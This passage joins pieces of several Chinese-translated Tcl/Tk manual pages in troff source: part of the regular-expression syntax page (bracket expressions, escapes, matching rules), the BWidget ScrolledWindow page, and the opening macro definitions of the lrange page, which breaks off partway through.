不能结束于`\fB\e\fR'. .SH "方括号表达式 BRACKET EXPRESSIONS" 一个方括号表达式是一个在`\fB[\|]\fR'中包围的一个列表。它通常匹配列表中的任意一个单一字符(参见后面)。如果这个列表以“\fB^\fR”为开始,它匹配不属于这个列表剩余部分的任意一个单一字符(参见后面)。 .PP 如果在这个列表中的两个字符被`\fB\-\fR'分割,这是在归并序列(collating sequence)中这两个字符之间(包括二者)的字符的完整范围的简写,例如,\fB[0\-9]\fR 在 ASCII 中匹配任何十进制数字。两个范围不能共享同一个端点,比如 \fBa\-c\-e\fR 是非法的。范围是很依赖于整理序列的,可移植程序应该避免依靠它们。 .PP 译注:\fB整理元素\fR \-\- 用来确定字符或宽字符字符串的逻辑次序的最小实体。一个整理元素的组成要么是一个单一字符,要么是被整理为一个实体的两个或更多字符。由当前地域(locale)中的 LC_COLLATE 类属的值确定整理元素的当前设置。 .PP 译注:\fB整理序列\fR \-\- 当前地域中的 LC_COLLATE 类属的设置确定 整理元素的相对次序。这个字符次序定义所有整理元素的相对位置,在这个次序中每个元素都占有一个唯一的位置。 .PP 要在这个列表中包括一个文字的 \fB]\fR 或者 \fB\-\fR ,最简单的方法是把它包围在 \fB[.\fR 和 \fB.]\fR 中使它成为一个整理元素(见后)。可替代的,使它成为第一个字符(跟随在可能的‘\fB^\fR’的后面),或(专属 ARE) 加以 ‘\fB\\fR’先导。可选的,对于‘\fB\-\fR’,使它成为最后的字符,或一个范围的第二端点。要使用一个文字 \fB\-\fR 作为一个范围的开始端点,可以使它成为一个整理元素或(专属 ARE) 加以‘\fB\e\fR’先导。除了这些例外、一些使用 \fB[\fR (参见下段)的组合、和转义,在一个方括号表达式中的所有其他特殊字符失去其特殊意义。 .PP 在一个方括号表达式当中,在 \fB[.\fR 和 \fB.]\fR 当中包围一个\fB归并元素\fR(collating element)(一个字符、一个多字符序列被整理为如同一个单一字符,或给二者的一个整理序列名字)表示这个整理元素的一个字符序列。这个序列是这个方括号表达式列表中的一个单一元素。在有多字符整理元素的地域中,一个方括号表达式可以匹配多于一个字符。 .VS 8.2 所以(潜藏的),即使在方括号表达式中未出现多字符整理元素,以 \fB^\fR 为开始的一个方括号表达式仍可以匹配多字符整理元素! (注意:Tcl 目前没有多字符整理元素。这些信息只是用来解释概念。) .PP 例如,假定整理序列包含一个 \fBch\fR 多字符整理元素,则 RE \fB[[.ch.]]*c\fR (后面跟随着 \fBc\fP的零或多个 \fBch\fP) 匹配`\fBchchcc\fR'的最先的5个字符。还有 \fB[^c]b\fR 匹配整个`\fBchb\fR'(因为 \fB[^c]\fR 匹配多字符 \fBch\fR)。 .VE 8.2 .PP 在一个方括号表达式中,在 \fB[=\fR 和 \fB=]\fR 当中包含的一个整理元素是一个equivalence class 等价类,表示等价于这个整理元素的所有整理元素的字符序列,包括它自身。(如果没有其他等价的整理元素,与在分界符`\fB[.\fR'\&和`\fB.]\fR'中包含一样对待。) 例如,如果 \fBo\fR 和\fB\o'o^'\fR 是一个等价类的成员,则`\fB[[=o=]]\fR'、`\fB[[=\o'o^'=]]\fR'、和`\fB[o\o'o^']\fR'\&都是同义词。一个等价类不能是一个范围的端点。 .VS 8.2 (注意:Tcl 目前只实现了 Unicode 地域。它不定义任何等价类。上面的例子只是用来解释概念。) .VE 8.2 .PP 在一个方括号表达式中,在 \fB[:\fR 和 \fB:]\fR 中包含的一个\fIcharacter class\fR 字符类 的名字表示属于这个类的所有字符的列表(不是所有整理元素!)。标准字符类有: .PP .RS .ne 5 .nf .ta 3c \fBalpha\fR 一个字母 \fBupper\fR 一个大写字母 \fBlower\fR 一个小写字母 \fBdigit\fR 一个十进制数字 \fBxdigit\fR 一个十六进制数字 \fBalnum\fR 一个 alphanumeric (字母或数字) \fBprint\fR 一个 alphanumeric (同于 alnum) \fBblank\fR 一个空格或 tab 字符 \fBspace\fR 在显示的文本中产生白空格的一个字符 \fBpunct\fR 一个标点字符 \fBgraph\fR 有图形表示的一个字符 \fBcntrl\fR 一个控制字符 .fi .RE .PP 一个地域可以提供其他的字符类。 .VS 8.2 (注意:Tcl 目前只实现了一个地域:Unicode 地域。) .VE 8.2 一个字符类不能用做一个范围的端点。 .PP 方括号表达式有两个特殊情况: 方括号表达式 \fB[[:<:]]\fR 和 \fB[[:>:]]\fR 是约束,分别匹配在一个字开始处和结束处的空串。定义一个字为既没有前导的又没有尾随的单词字符的单词字符的一个序列。一个单词字符是一个 \fBalnum \fR字符或一个下划线(\fB_\fR)。这些特殊的方括号表达式已被淘汰;ARE 用户应当转而使用约束转义(见后)。 .SH "转义 ESCAPES" 转义(专属 ARE),它以 \fB\e\fR 为开始后面跟随着一个字母字符,存在一些变体: 字符录入(entry)、类简写、约束转义、和后引用。在 ARE 中,跟随着一个 alphanumeric 字符但不约束一个有效转义的 \fB\e\fR 是非法的。在 ERE 中,没有转义: 在方括号表达式外部,跟随着一个 alphanumeric 字符的一个 \fB\e\fR 仅表示这个字符为一个普通字符,而在一个方括号表达式内部, \fB\e\fR 是一个普通字符。(后者是在 ERE 和 ARE 之间的一个实际上的不兼容。) .PP 字符录入转义 (Character-entry escapes) (专属 ARE) 的存在简便了在 RE 中指定一个非打印和其他非常规字符: .RS 2 .TP 5 \fB\ea\fR 警报(震铃)字符,如同 C 语言 .TP \fB\eb\fR 退格,如同 C 语言 .TP \fB\eB\fR \fB\e\fR 的同义词,在有多层反斜杠处理的一些应用中用来减少双反斜杠 .TP \fB\ec\fIX\fR (这里的 X 是任何字符) 字符的低端5位与 \fIX \fR的低端5位相同,而其他位全是零 .TP \fB\ee\fR 其整理序列名字是‘\fBESC\fR’的字符,如果尝试失败,这个字符有八进制值 033 .TP \fB\ef\fR 换页,如同 C 语言 .TP \fB\en\fR 换行,如同 C 语言 .TP \fB\er\fR 回车,如同 C 语言 .TP \fB\et\fR 水平 tab,如同 C 语言 .TP \fB\eu\fIwxyz\fR (这里的 \fIwxyz\fR 是严格的四个十六进制数字) 在本地字节次序中的 Unicode 字符 \fBU+\fIwxyz\fR .TP \fB\eU\fIstuvwxyz\fR (这里的 \fIstuvwxyz\fR 是严格的八个十六进制数字) 保留给假定的某种扩展到32位的 Unicode .TP \fB\ev\fR 垂直 tab,如同 C 语言 .TP \fB\ex\fIhhh\fR (这里的 \fIhhh\fR 是十六进制数字的任意序列) 其十六进制值为 \fB0x\fIhhh\fR 的字符(不管使用了多少十六进制数字它都是一个单一字符)。 .TP \fB\e0\fR 其值为 \fB0 \fR的字符 .TP \fB\e\fIxy\fR (这里的 \fIxy\fR 是严格的两个八进制数字,并且不是一个\fB后引用\fR(参见后面)) 其八进制值为\fB0\fIxy\fR 的字符 .TP \fB\e\fIxyz\fR (这里的 \fIxyz\fR 是严格的两个八进制数字,并且不是一个\fB后引用\fR(参见后面)) 其八进制值为 \fB0\fIxyz\fR的字符 .RE .PP 十六进制数字是 `\fB0\fR'-`\fB9\fR', `\fBa\fR'-`\fBf\fR', 和`\fBA\fR'-`\fBF\fR'. 八进制数字是 `\fB0\fR'-`\fB7\fR'. .PP 字符录入转义总是被接受为普通字符。例如, \fB\e135\fR 是ASCII中的 \fB]\fR 而 \fB\e135\fR 不终结一个方括号表达式。但是要小心,一些应用(例如 C 编译器)在正则表达式包得到它们之前要自己解释这些序列,这可能就要求写两次(四次 (quadrupling),等等) `\fB\e\fR'。 .PP 类简写转义 Class-shorthand escapes (专属 ARE) 为特定的通用字符类提供简写: .RS 2 .TP 10 \fB\ed\fR \fB[[:digit:]]\fR .TP \fB\es\fR \fB[[:space:]]\fR .TP \fB\ew\fR \fB[[:alnum:]_]\fR (注意有下划线) .TP \fB\eD\fR \fB[^[:digit:]]\fR .TP \fB\eS\fR \fB[^[:space:]]\fR .TP \fB\eW\fR \fB[^[:alnum:]_]\fR (注意有下划线) .RE .PP W在方括号表达式中,没有外面的方括号的`\fB\ed\fR', `\fB\es\fR', 和 `\fB\ew\fR'\& ,还有 `\fB\eD\fR', `\fB\eS\fR', 和 `\fB\eW\fR'\& 都是非法的。 .VS 8.2 (所以,等价于\fB[a-c[:digit:]]\fR 的 \fB[a-c\ed]\fR 和等价于 \fB[a-c^[:digit:]]\fR 的\fB[a-c\eD]\fR 是非法的) .VE 8.2 .PP 约束转义 constraint escape (AREs only) 是如果指定条件满足则匹配空串的一个约束,它被写成一个转义: .RS 2 .TP 6 \fB\eA\fR 只在字符串开始处匹配(与 `\fB^\fR'的不同之处请参见下面的 MATCHING 章节) .TP \fB\em\fR 只在一个字开始处匹配 .TP \fB\eM\fR 在一个字的结束处匹配 .TP \fB\ey\fR 只在一个字的开始处或结束处匹配 .TP \fB\eY\fR 只在一个字的不是开始处或结束处的某点上匹配 .TP \fB\eZ\fR 只在一个字符串的结束处匹配(与 `\fB$\fR'的不同之处请参见下面的 MATCHING 章节) .TP \fB\e\fIm\fR (这里的 \fIm\fR 是一个非零数字)一个\fIback reference\fR 后引用, 参见后面 .TP \fB\e\fImnn\fR (这里的 \fIm\fR 是一个非零数字,而 \fInn\fR 是一些更多的数字,并且十进制值 \fImnn\fR 不大于目前为止闭合的捕获圆括号的数目) 一个\fB后引用\fR,参见下面  .RE .PP 同于上面规定的 \fB[[:<:]]\fR 和 \fB[[:>:]]\fR ,字定义为既没有前导的又没有尾随的单词字符的一个序列。 一个单词字符是一个 \fBalnum \fR字符或一个下划线(\fB_\fR)。 在方括号表达式中,约束转义是非法的。 .PP 一个\fB后引用\fR(专属 ARE) 匹配的字符串与用数字指定的在圆括号中的子表达式所匹配的字符串相同,所以(例如) \fB([bc])\e1\fR 匹配 \fBbb\fR 或 \fBcc\fR 而不是 ‘\fBbc\fR’。在 RE 中,子表达式必须全部在后引用的前面。以前导的圆括号(左圆括号)的次序给子表达式编号。非捕获圆括号不定义子表达式。 .PP 译注:后引用是原属 BRE 的特征,ERE 无此特征。例如,表达式 ^(.*)\e1$ 匹配由同一个字符串的两个毗连的出现组成的一行,而表达式 (a)*\e1 不匹配 a。(a)(b)\e1 匹配 aba,(a)(b)\e2 匹配 abb,(a(b))\e1 匹配 abab,(a(b))\e2 匹配abb。(a)\e1 等价于 a{2,2}。 .PP 在八进制字符录入转义和后引用之间有一个历史遗留的二义性,只能象上面提示的那样用启发式的方法来解决。一个前导的零总是指示一个八进制转义。一个单一的非零数字,不跟随着其他数字,总是接受为一个后引用。不以一个零为开始的一个多数字序列如果在一个合适的子表达式后面,则被接受为一个后引用 (比如给出的后引用的序号在合法范围内),否则被接受为一个八进制转义。 .SH "元语法 METASYNTAX" 除了上面描述的主要的语法之外,还可获得特殊形式和杂项的一些语法性的设施。 .PP 一般通过应用相关的方式指定使用的 RE 的风格。但是,可以用\fB指示符\fR(\fIdirector\fR)来屏弃它们。如果某种风格的一个 RE 以‘\fB***:\fR’为开始,则 RE 的剩余部分是一个 ARE。如果某种风格的一个 RE 以‘\fB***=\fR’为开始,则 RE 的剩余部分被接受为一个文字串,并且其中的所有字符被认为是普通字符。 .PP 一个 ARE 可以以\fIembedded options\fR 嵌入选项为开始: 一个序列 \fB(?\fIxyz\fB)\fR (这里的 \fIxyz\fR 是一个或更多的字母字符) 指定影响 RE 剩余部分的选项。它们提供和屏弃由应用指定的任何选项。可获得的选项字母有: .RS 2 .TP 3 \fBb\fR RE 的剩余部分是一个 BRE .TP 3 \fBc\fR 大小写敏感 (通常是缺省的) .TP 3 \fBe\fR RE 的剩余部分是一个 ERE .TP 3 \fBi\fR 大小写不敏感 (参见下面的 MATCHING 匹配) .TP 3 \fBm\fR 历史上的 \fBn \fR的同义词 .TP 3 \fBn\fR 换行敏感匹配 (参见下面的 MATCHING 匹配) .TP 3 \fBp\fR 部分换行敏感匹配 (参见下面的 MATCHING 匹配) .TP 3 \fBq\fR RE 的剩余部分是一个文字 (被引用起来的 ``quoted'')字符串,都是普通字符 .TP 3 \fBs\fR 非换行敏感匹配 (通常是缺省的) .TP 3 \fBt\fR 紧凑语法 (通常是缺省的;参见后面) .TP 3 \fBw\fR 反向部分换行敏感 (离奇的 ``weird'') 匹配 (参见下面的 MATCHING 匹配) .TP 3 \fBx\fR 展开语法 (参见后面) .RE .PP 嵌入选项影响的序列被 \fB)\fR 终结。它们只在一个 ARE 的开始处有效,此后不可以在其中使用。 .PP 除了通常的(紧凑) RE 语法,其中所有字符都有意义,还有一个展开语法,在所有风格的 RE 中都可以使用 \fB-expanded\fR 开关来获得它,或者在 ARE 中使用嵌入的 x 选项。在展开语法中,忽略白空格和在 \fB#\fR 和随后的换行(或 RE 结束)之间的所有字符,这就允许了在一个复杂的 RE 中进行分段和注释。有对这些基本规则的三个例外: .RS 2 .PP 保留有前导`\fB\e\fR'的白空格或 `\fB#\fR' .PP 保留在方括号表达式中的白空格或 `\fB#\fR' .PP 在多字符符号如 ARE `\fB(?:\fR' 或 `\fB\e(\fR' 中间的白空格或注释是非法的 .RE .PP 展开语法中的白空格是 blank、tab .VS 8.2 、和属于空格字符类的任何字符。 .VE 8.2 .PP 最后,在 ARE 中,在方括号表达式外面,序列 `\fB(?#\fIttt\fB)\fR' (这里的 \fIttt\fR 是不包含 `\fB)\fR' 的任何文本) 是一个注释,它将被完全忽略。同样,不允许它在多字符符号如 `\fB(?:\fR'中间的出现。这种注释是历史产物而不是很有用的设施,它的使用被淘汰了;应使用展开语法来替代。 .PP 如果应用(或一个启始的 \fB***=\fR 指示符)指定用户的输入被作为一个文字串而不是一个 RE 来对待,则不能获得这些元语法扩展。 .SH "匹配 MATCHING" 译注:下述引自 XBD RE 规定中的匹配定义,略有变更。 .PP 译注:零个或多个字符的一个序列被称为与 RE 匹配的条件是在这个序列中的字符对应于这个模式定义的一个字符序列。 .PP 译注:对一个匹配的序列的查找开始于一个字符串的开始处,停止于找到第一个匹配字符串的时候,这里定义\fB第一个\fR的意思为“字符串中最早开始的”。如果模式允许匹配的字符有可变的数目,因此在这个点开始的序列多于一个,则匹配最长的那个序列。例如: RE bb* 匹配 abbbc 中的第2到第4个字符,而 RE (wee|week)(knights|night) 匹配 weeknights 的所有10个字符。 .PP 译注:与整个匹配是最长的最左匹配相一致,从左到右的每个子模式,匹配最长的可能的字符串。为此,一个空串被认为比根本没有匹配长。例如,针对(against) abcdef 匹配 RE (.*).* ,子表达式 (\1) 是 abcdef,而针对 bc 匹配 RE (a*)*,子表达式 (\1) 是空串。 .PP 译注:通过向每个子表达式递归的提供最左最长匹配来确定什么(子)字符串对应于子表达式是可能的,而附带条件是整体匹配是最左的、最长的。例如,针对acdacaaa 匹配 (ac*)c*d[ac]*\1 匹配出 acdacaaa (这里 \1=a); 而简单的给 (ac*) 匹配最长的将生成 \1=ac,但整体匹配将变小 (acdac)。概念上,实现必须检查每种可能的匹配,并在生成的最左最长的总体匹配中,为最左子表达式挑出一个最长的匹配(子串)并以此类推。注意,这意味着子表达式的匹配是上下文相关的: 在一个很大的 RE 中的一个子表达式所匹配的字符串可能与它作为一个独立的 RE 时不同,还有,即使在类似的字符序列中,在同一个很大的 RE 中的同一个子表达式的两个实例可能匹配不同的长度。例如,在 RE (a.*b)(a.*b) 中,两个完全相同的子表达式将分别的匹配 accbaccccb 的四个和六个字符。 .PP 如果一个 RE 能匹配一个给定字符串中的多于一个的子串,RE 匹配在这个字符串中最先开始的子串。如果 RE能匹配的在这一点上开始的子串多于一个,它的选择决定于它的\fB偏好\fR(preference): 要么是最长的子串,要么是最短的子串。 .PP 多数原子和所有约束,都没有偏好。一个有圆括号的 RE 与 RE 有相同的偏好(有可能没有)。一个有 \fB{\fIm\fB}\fR 或 \fB{\fIm\fB}?\fR 定量符的定量原子与原子自身有相同的偏好(有可能没有)。一个有其他平常的定量符的定量原子(包括在 \fB{\fIm\fB,\fIn\fB}\fR 中 \fIm\fR 等于 \fIn\fR) 偏好最长的匹配。一个有不贪婪定量符的定量原子(包括在 \fB{\fIm\fB,\fIn\fB}?\fR 中 \fIm\fR 等于 \fIn\fR 的情况) 偏好最短的匹配。一个分支与在它的里面的第一个定量原子有相同的偏好。用 \fB|\fR 操作符连接起来的一个由两个或多个分支组成的 RE 偏好最长的匹配。 .PP 取决于匹配整个 RE 的规则所强加的约束,基于可能子串的表现,子表达式可以匹配最长或最短的可能子串,在 RE 中开始较早的子表达式优先于开始较晚的。注意,外部的子表达式优先于其中的构件子表达式。 .PP 注意,可以分别的使用定量符 \fB{1,1}\fR 和 \fB{1,1}?\fR 在子表达式或整个 RE 上强制最长和最短偏好。 .PP 用字符数而不是整理元素数来测量匹配长度。一个空串被当作比根本没有匹配长 ,例如 \fBbb*\fR 匹配 `\fBabbbc\fR'中间的三个字符, \fB(week|wee)(night|knights)\fR 匹配 `\fBweeknights\fR'的所有10个字符,在针对(against) \fBabc\fR 匹配 \fB(.*).*\fR 的时候圆括号中的子表达式匹配所有这三个字符,而在针对 \fBbc\fR 匹配 \fB(a*)*\fR 的时候整个 RE 和圆括号中子表达式都匹配一个空串。 .PP 如果指定了大小写无关匹配,效果如同所有字母的大小写区别都消失了。当存在大小写区别的一个字符在方括号表达式外面作为一个普通字符出现的时候,它被有效的转变成包含大小写二者的一个方括号表达式, 所以 \fBx\fR 变成了`\fB[xX]\fR'。当它出现在一个方括号表达式中,把它对应的所有大小写添加到方括号中,所以\fB[x]\fR 变成 \fB[xX]\fR而 \fB[^x]\fR 变成 `\fB[^xX]\fR'。 .PP 如果指定了换行敏感匹配,则 \fB.\fR 和使用 \fB^\fR 的方括号表达式永不匹配换行字符(所以除非 RE 显式安排,否则永不会跨越换行来进行匹配),并且 \fB^\fR 和 \fB$\fR 除了分别匹配字符串的开始和结束之外,还分别的匹配在换行之后和之前的空串。ARE \fB\A\fR 和 \fB\Z\fR 继续\fB只\fR匹配字符串的开始和结束。 .PP 如果指定了部分换行敏感,这将致使 \fB.\fR 和方括号表达式成为换行敏感匹配,但不影响 \fB^\fR 和‘\fB$\fR’。 .PP 如果指定了反向部分换行敏感,这将致使 \fB^\fR 和 \fB$\fR 成为换行敏感匹配,但不影响 \fB.\fR 和方括号。这不是很有用,提供它只是为了对称。 .SH "限制和兼容性 LIMITS AND COMPATIBILITY" 对于 RE 的长度没有强加特定的限制。想要高度可移植的程序不应该依赖比 256 字节长的 RE,因为遵从 POSIX 的实现可能拒绝接受这样的 RE。 .PP 专属 ARE 并且实际上与 POSIX ERE 不相容的特征是在方括号表达式中的 \fB\e\fR 不失去它的特殊意义。所有其他 ARE 特征使用的语法在 POSIX ERE 中是非法的,或着有未定义或未指定的效果;指示符的 \fB***\fR 语法同样不属于 BRE 和 ERE 二者的 POSIX 语法。 .PP 许多 ARE 扩展取自 Perl,为了整理它们而进行了一些变更,还有一些 Perl 扩展未提供。要注意的不相容包括:‘\fB\eb\fR’、‘\fB\eB\fR’,缺乏对尾随的换行的特殊对待,为受换行敏感匹配影响的 RE 增加了方括号表达式补全,在先行约束中对圆括号和后引用的限制,和最长/最短匹配的匹配语义。 .PP 自从这个包的一个早期的 beta 测试版本做了变更以来,RE 的匹配的规则包含正常的和非贪婪的定量符二者。(新规则更加简单和清晰,而不在猜测用户的真实意图上费很大力气。) .PP Henry Spencer 的原始的 1986 \fIregexp\fR 包,仍被广泛的使用(例如,在 Tcl 8.1 之前的发行中),它实现了今天的 ERE 的一个早期版本。在 \fIregexp \fR的近似 ERE (简写为 RRE)和 ARE 之间有四点不相容:  In roughly increasing order of significance: .PP .RS 在 ARE 中,跟随着一个字母字符的 \fB\e\fR 要么是转义要么是一个错误,而在 RRE 中,它只是写字母的另一种方式。这不应该是一个问题,因为在 RRE 中没有理由写出这样的一个序列。 .PP 在 ARE 中跟随着一个数字的 \fB{\fR 是一个束缚的开始,而在 RRE 中,\fB{\fR 总是一个普通字符。这样的序列是少见的,并且经常导致一个错误,原因是随后的字符看起来不象一个有效的束缚。 .PP 在 ARE 中,在`\fB[\|]\fR'内 \fB\e\fR 保持是一个特殊字符,所以在`\fB[\|]\fR'内一个文字 \fB\e\fR 必须写成`\fB\e\e\fR'。在 RRE 中,在\fB[\|]\fR内 `\fB\e\e\fR' 也给出一个文字 \fB\e\fR,但只有真正的偏执狂程序员才例行公事的双写反斜杠。 .PP ARE 为 RE 报告最长的和最短的匹配,而不是按指定的查找次序找到的第一个匹配。这可能影响寄希望于第一个匹配不被报告的一些 RRE。(废弃了为快速匹配而优化查找次序的 RRE 细致工艺(ARE 并行的检查所有可能的匹配,并且它们的性能在很大程度上不敏感于它们的复杂性),而为故意的找寻非最长或最短的一个匹配而开发的查找次序需要重写。) .RE .SH "基本正则表达式 BASIC REGULAR EXPRESSIONS" BRE 在一些方面与 ERE 有所区别。 `\fB|\fR', `\fB+\fR', 和 \fB?\fR 是普通字符并且没有与之等价的功能。用于束缚的分界符是 \fB\e{\fR 和 `\fB\e}\fR', 而 \fB{\fR 和 \fB}\fR 本身是普通字符。用于嵌套子表达式的圆括号是 \fB\e(\fR 和`\fB\e)\fR', 而 \fB(\fR 和 \fB)\fR 自身是普通字符。除了在 RE 或一个圆括号中的子表达式的开始处之外, \fB^\fR 是一个普通字符,除了在 RE 或一个圆括号中的子表达式的结束处之外, \fB$\fR 是一个普通字符,而在 RE 或一个圆括号中的子表达式的开始处之外出现的 \fB*\fR 是一个普通字符(在可能的前导 `\fB^\fR' 之后)。最后,可获得单一数字的后引用, \fB\e<\fR 和 \fB\e>\fR 分别是 \fB[[:<:]]\fR 和 \fB[[:>:]]\fR 的同义词;没有其他可获得的转义。 .SH "参见 SEE ALSO" RegExp(3), regexp(n), regsub(n), lsearch(n), switch(n), text(n) .SH "关键字 KEYWORDS" match, regular expression, string .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/10/26 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
.TH Scrolledwindow 3tk "tcllib - BWidget" .SH NAME .B ScrolledWindow - 通用滚动组件 .SH 创建 CREATION .B ScrolledWindow pathName ?option value...? .SH 描述 DESCRIPTION ScrolledWindow 使用户能容易的建立带有自己的滚动条的组件。ScrolledWindow 建立滚动条并且用 ScrolledWindow::setwidget 自动的把滚动命令关联到一个可滚动的组件上。 .SH 组件特有选项 WIDGET-SPECIFIC OPTIONS .TP -auto 指定想要的自动管理的滚动条: * none 意思是总是绘制滚动条 * horizontal 意思是在需要时绘制水平滚动条 * vertical 意思是在需要时绘制垂直滚动条 * both 意思是在需要时绘制水平滚动条和垂直滚动条 .TP -scrollbar (只读) 指定想要的滚动条: none、horizontal、vertical 或 both。这个选项不能用 ScrolledWindow::configure 修改。 .SH 组件命令 .TP pathName cget option 返回用 option 给出的配置选项的当前值。Option 可以是能被建立命令接受的任何值。 .TP pathName configure ?option? ?value option value ...? 查询或修改这个组件的配置选项。如果未指定 option ,则返回描述 pathName 的所有可获得的选项的一个列表。如果指定了不带 value 的 option,则这个命令返回描述这个指名的 option 的一个列表(这个列表与未指定 option 所返回的值的相应的子集是一样的)。如果指定了一个或多个选项-值 对,则这个命令把给定的组件选项修改为给定的值;在这种情况下这个命令返回一个空串。Option 可以是能被建立命令接受的任何值。只读选项不可修改。 .TP pathName getframe 返回应该在其中建立滚动组件的框架的路径名。这个命令不再需要。你可以直接建立作为 pathName 的子窗口的滚动组件。 .TP pathName setwidget widget 把 widget 关联到滚动条上。通过把选项 expand 设为 yes 和 fill 设为 both 包装(pack) widget 是。widget 必须是可滚动组件,也就是说有选项 xscrollcommand/yscrollcommand 和命令 xview/yview,比如画布或文本。 .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/05/12 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: lrange.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: lrange.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH lrange 3tcl 7.4 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME lrange \- 从一个列表返回一个或多个毗连的元素 .SH "总览 SYNOPSIS" \fBlrange \fIlist first last\fR .BE .SH "描述 DESCRIPTION" .PP \fIList\fR 必须是一个有效的 Tcl 列表。这个命令将返回由 \fIfirst\fR 到 